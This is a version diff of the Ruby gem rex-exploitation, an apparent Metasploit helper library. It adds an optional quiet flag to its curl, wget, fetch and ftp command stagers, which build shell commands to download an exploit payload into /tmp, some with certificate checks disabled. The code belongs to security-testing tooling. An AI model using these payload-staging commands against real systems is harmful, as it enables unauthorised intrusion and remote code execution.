rex-exploitation 0.1.37 → 0.1.39

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: efae7e0ffa11f8cad37036f3db9ae9144cc1895a9e90111b585ad750f07ea822
-  data.tar.gz: 3dfa6dc1ca737e7011efc806ed321edc3a44085f79fbfa47b483bdb863f729da
+  metadata.gz: 8ef72cba0536238799b96a89b69cfefd84c8732ca35c9eb7dd6e259850953a23
+  data.tar.gz: 2cf156e9669cad115b7b671661efffa6e71d3e746b2808be61b82d872e4556e2
 SHA512:
-  metadata.gz: a20d86a1cc4e33206805788655793535d138dd78c95d76d9d335364b66b57c2b75931e7ed28fe04bd65105067fd39c608b5d655c9ccf6396baff358bc6b263fa
-  data.tar.gz: 072161c900ebda55d788513db71838b3f0510c48b5f1cd6fa9239e19db0bbe49c59e21b28843b03d8de58b8cb1eed8795edb3a77b7c06b216f1b1001168c1328
+  metadata.gz: 272e99cda9c7fd16d30f9d4138a08c3e1521591c01e3fe1d91389279846775298e334671550cdb0b731f171df7f067562c6caf7bc0bf04e8ac7596607bc432a3
+  data.tar.gz: e528c225a015011b89622f3017f226e64e6184b8945128baba71482d7730407a2ce6c54d68299ed69419f831f3c8ff8e611ff8ed7ecf75c14c0e70791373f596

data/cortex.yaml

@@ -0,0 +1,15 @@
+---
+info:
+  title: Rex Exploitation
+  description: Rex library for various exploitation helpers
+  x-cortex-git:
+    github:
+      alias: r7org
+      repository: rapid7/rex-exploitation
+  x-cortex-tag: rex-exploitation
+  x-cortex-type: service
+  x-cortex-domain-parents:
+  - tag: metasploit
+openapi: 3.0.1
+servers:
+- url: "/"

data/lib/rex/exploitation/cmdstager/curl.rb

@@ -17,6 +17,7 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
 
     opts[:temp] ||= '/tmp'
     opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    opts[:silent] = true if opts[:silent].nil?
     @payload_path = "#{opts[:temp]}/#{opts[:file]}"
 
     super
@@ -25,12 +26,13 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
   def generate_cmds_payload(opts)
     cmds = []
     uri = opts[:payload_uri]
+    silent_flag = opts[:silent] ? 's' : ''
 
     if opts[:ssl]
-      cmds << "curl -kso #{@payload_path} #{uri}"
+      cmds << "curl -#{silent_flag}ko #{@payload_path} #{uri}"
     else
       uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
-      cmds << "curl -so #{@payload_path} #{uri}"
+      cmds << "curl -#{silent_flag}o #{@payload_path} #{uri}"
     end
 
     cmds

data/lib/rex/exploitation/cmdstager/fetch.rb

@@ -17,6 +17,7 @@ class Rex::Exploitation::CmdStagerFetch < Rex::Exploitation::CmdStagerBase
 
     opts[:temp] ||= '/tmp'
     opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    opts[:silent] = true if opts[:silent].nil?
     @payload_path = "#{opts[:temp]}/#{opts[:file]}"
 
     super
@@ -26,10 +27,11 @@ class Rex::Exploitation::CmdStagerFetch < Rex::Exploitation::CmdStagerBase
     cmds = []
     nvp  = '--no-verify-peer'
 
+    silent_flag = opts[:silent] ? 'q' : ''
     if opts[:ssl]
-      cmds << "fetch -qo #{@payload_path} #{nvp} #{opts[:payload_uri]}"
+      cmds << "fetch -#{silent_flag}o #{@payload_path} #{nvp} #{opts[:payload_uri]}"
     else
-      cmds << "fetch -qo #{@payload_path} #{opts[:payload_uri]}"
+      cmds << "fetch -#{silent_flag}o #{@payload_path} #{opts[:payload_uri]}"
     end
 
     cmds

data/lib/rex/exploitation/cmdstager/ftp_http.rb

@@ -17,14 +17,17 @@ class Rex::Exploitation::CmdStagerFtpHttp < Rex::Exploitation::CmdStagerBase
 
     opts[:temp] ||= '/tmp'
     opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    opts[:silent] = true if opts[:silent].nil?
     @payload_path = "#{opts[:temp]}/#{opts[:file]}"
 
     super
   end
 
   def generate_cmds_payload(opts)
+    # -V: disable verbose output (quiet mode)
+    silent_flag = opts[:silent] ? 'V' : ''
     # -o: output file name (argument must be before URL)
-    ["ftp -o #{@payload_path} #{opts[:payload_uri]}"]
+    ["ftp -#{silent_flag}o #{@payload_path} #{opts[:payload_uri]}"]
   end
 
   def generate_cmds_decoder(opts)

data/lib/rex/exploitation/cmdstager/wget.rb

@@ -17,6 +17,7 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
 
     opts[:temp] ||= '/tmp'
     opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    opts[:silent] = true if opts[:silent].nil?
     @payload_path = "#{opts[:temp]}/#{opts[:file]}"
 
     super
@@ -27,12 +28,13 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
 
     uri = opts[:payload_uri]
     ncc  = '--no-check-certificate'
+    silent_flag = opts[:silent] ? 'q' : ''
 
     if opts[:ssl]
-      cmds << "wget -qO #{@payload_path} #{ncc} #{uri}"
+      cmds << "wget -#{silent_flag}O #{@payload_path} #{ncc} #{uri}"
     else
       uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
-      cmds << "wget -qO #{@payload_path} #{uri}"
+      cmds << "wget -#{silent_flag}O #{@payload_path} #{uri}"
     end
 
     cmds

data/lib/rex/exploitation/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Exploitation
-    VERSION = "0.1.37"
+    VERSION = "0.1.39"
   end
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-exploitation
 version: !ruby/object:Gem::Version
-  version: 0.1.37
+  version: 0.1.39
 platform: ruby
 authors:
 - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2023-01-31 00:00:00.000000000 Z
+date: 2023-10-04 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake
@@ -226,6 +226,7 @@ files:
 - Rakefile
 - bin/console
 - bin/setup
+- cortex.yaml
 - data/exploits/cmdstager/debug_asm
 - data/exploits/cmdstager/debug_write
 - data/exploits/cmdstager/vbs_b64

metadata.gz.sig

@@ -1 +1 @@
-i��-��S��7g{�)>Qha^S_7��2S��J��PR���N���m���I݆j4�i`�D�ly�˸�}���<P8r�t枂�)��YxӬP�I�7��/À���q�"��'����b���M؀H��&�!�xE>�/�,�X)��yכ�fq�C_F���M]Ѳ����$@��YQ�#5is1G�κ�3G��n^��H����] 賓,?_��n���6��[Qۋ0��=���B�eTU��d�
+��